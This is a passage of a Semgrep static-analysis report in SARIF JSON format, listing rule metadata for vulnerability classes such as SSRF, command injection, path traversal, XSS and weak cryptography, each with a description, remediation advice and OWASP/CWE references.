CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","id":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","name":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","id":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","name":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","id":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","name":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","id":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","name":"java.lang.security.audit.sqli.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","id":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","name":"java.servlets.security.tainted-xml-decoder.tainted-xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder.tainted-xml-decoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","id":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","name":"python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.ldap3.python-ldap3-empty-password.python-ldap3-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","id":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","name":"python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-fastapi.tainted-path-traversal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-arg-injection.puppeteer-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"help":{"markdown":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","id":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","name":"java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-client.ssrf","id":"csharp.lang.security.ssrf.web-client.ssrf","name":"csharp.lang.security.ssrf.web-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected DES cipher or Triple DES algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use a secure symmetric cipher from the cryptodome package instead. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","id":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","name":"python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-des.insecure-cipher-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/javascript.browser.decoded-xss.decoded-xss","id":"javascript.browser.decoded-xss.decoded-xss","name":"javascript.browser.decoded-xss.decoded-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.decoded-xss.decoded-xss"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive 